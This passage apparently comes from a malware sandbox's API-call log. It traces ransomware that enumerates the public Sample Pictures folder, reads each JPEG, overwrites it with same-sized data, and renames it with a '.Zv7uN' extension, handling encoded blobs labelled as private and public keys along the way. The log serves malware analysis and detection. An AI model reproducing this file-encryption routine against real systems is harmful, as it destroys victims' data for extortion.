0x114 [0119.972] WriteFile (in: hFile=0x114, lpBuffer=0x7ede0010*, nNumberOfBytesToWrite=0xd6b22, lpNumberOfBytesWritten=0x18f6ac, lpOverlapped=0x0 | out: lpBuffer=0x7ede0010*, lpNumberOfBytesWritten=0x18f6ac*=0xd6b22, lpOverlapped=0x0) returned 1 [0120.012] CloseHandle (hObject=0x114) returned 1 [0120.013] MoveFileW (lpExistingFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Chrysanthemum.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\chrysanthemum.jpg"), lpNewFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Chrysanthemum.jpg.Zv7uN" (normalized: "c:\\users\\public\\pictures\\sample pictures\\chrysanthemum.jpg.zv7un")) returned 1 [0120.014] VirtualFree (lpAddress=0x7eec0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.066] VirtualFree (lpAddress=0x7ede0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.077] VirtualFree (lpAddress=0x7ed00000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.088] GetCurrentThreadId () returned 0xa30 [0120.088] GetCurrentThreadId () returned 0xa30 [0120.088] GetCurrentThreadId () returned 0xa30 [0120.088] GetCurrentThreadId () returned 0xa30 [0120.089] GetCurrentThreadId () returned 0xa30 [0120.089] GetCurrentThreadId () returned 0xa30 [0120.089] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be84d57, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be84d57, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xce875, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="Desert.jpg", cAlternateFileName="")) returned 1 [0120.089] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0120.089] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0120.089] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Desert.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\desert.jpg"), fInfoLevelId=0x0, lpFileInformation=0x18f6e0 | out: lpFileInformation=0x18f6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be84d57, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be84d57, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xce875)) returned 1 [0120.089] GetFileAttributesW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Desert.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\desert.jpg")) returned 0x20 [0120.089] SetFileAttributesW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Desert.jpg", dwFileAttributes=0x80) returned 1 [0120.091] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0120.092] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x2c6381c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0120.093] GetCurrentThreadId () returned 0xa30 [0120.093] GetCurrentThreadId () returned 0xa30 [0120.093] GetCurrentThreadId () returned 0xa30 [0120.093] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0120.093] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1ef116c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0120.094] GetCurrentThreadId () returned 0xa30 [0120.094] GetCurrentThreadId () returned 0xa30 [0120.094] GetCurrentThreadId () returned 0xa30 [0120.094] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Desert.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\desert.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0120.094] SetFilePointer (in: hFile=0x114, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f694*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f694*=0) returned 0x0 [0120.094] SetFilePointer (in: hFile=0x114, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0120.095] SetFilePointer (in: hFile=0x114, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0xce875 [0120.095] SetFilePointer (in: hFile=0x114, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0120.095] VirtualAlloc (lpAddress=0x0, dwSize=0xe0000, flAllocationType=0x101000, flProtect=0x4) returned 0x7eec0000 [0120.095] ReadFile (in: hFile=0x114, lpBuffer=0x7eec0010, nNumberOfBytesToRead=0xce875, lpNumberOfBytesRead=0x18f6a0, lpOverlapped=0x0 | out: lpBuffer=0x7eec0010*, lpNumberOfBytesRead=0x18f6a0*=0xce875, lpOverlapped=0x0) returned 1 [0120.131] CloseHandle (hObject=0x114) returned 1 [0120.131] VirtualAlloc (lpAddress=0x0, dwSize=0xe0000, flAllocationType=0x101000, flProtect=0x4) returned 0x7ede0000 [0120.137] VirtualAlloc (lpAddress=0x0, dwSize=0xe0000, flAllocationType=0x101000, flProtect=0x4) returned 0x7ed00000 [0120.246] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Desert.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\desert.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0120.246] WriteFile (in: hFile=0x1ec, lpBuffer=0x7ede0010*, nNumberOfBytesToWrite=0xce875, lpNumberOfBytesWritten=0x18f6ac, lpOverlapped=0x0 | out: lpBuffer=0x7ede0010*, lpNumberOfBytesWritten=0x18f6ac*=0xce875, lpOverlapped=0x0) returned 1 [0120.282] CloseHandle (hObject=0x1ec) returned 1 [0120.283] MoveFileW (lpExistingFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Desert.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\desert.jpg"), lpNewFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Desert.jpg.Zv7uN" (normalized: "c:\\users\\public\\pictures\\sample pictures\\desert.jpg.zv7un")) returned 1 [0120.284] VirtualFree (lpAddress=0x7eec0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.292] VirtualFree (lpAddress=0x7ede0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.303] VirtualFree (lpAddress=0x7ed00000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.314] GetCurrentThreadId () returned 0xa30 [0120.314] GetCurrentThreadId () returned 0xa30 [0120.314] GetCurrentThreadId () returned 0xa30 [0120.314] GetCurrentThreadId () returned 0xa30 [0120.314] GetCurrentThreadId () returned 0xa30 [0120.314] GetCurrentThreadId () returned 0xa30 [0120.314] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x460, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0120.314] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0120.314] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0120.314] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be84d57, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be84d57, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x91554, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="Hydrangeas.jpg", cAlternateFileName="HYDRAN~1.JPG")) returned 1 [0120.314] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0120.314] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0120.314] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Hydrangeas.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\hydrangeas.jpg"), fInfoLevelId=0x0, lpFileInformation=0x18f6e0 | out: lpFileInformation=0x18f6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be84d57, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be84d57, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x91554)) returned 1 [0120.329] GetFileAttributesW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Hydrangeas.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\hydrangeas.jpg")) returned 0x20 [0120.329] SetFileAttributesW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Hydrangeas.jpg", dwFileAttributes=0x80) returned 1 [0120.331] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 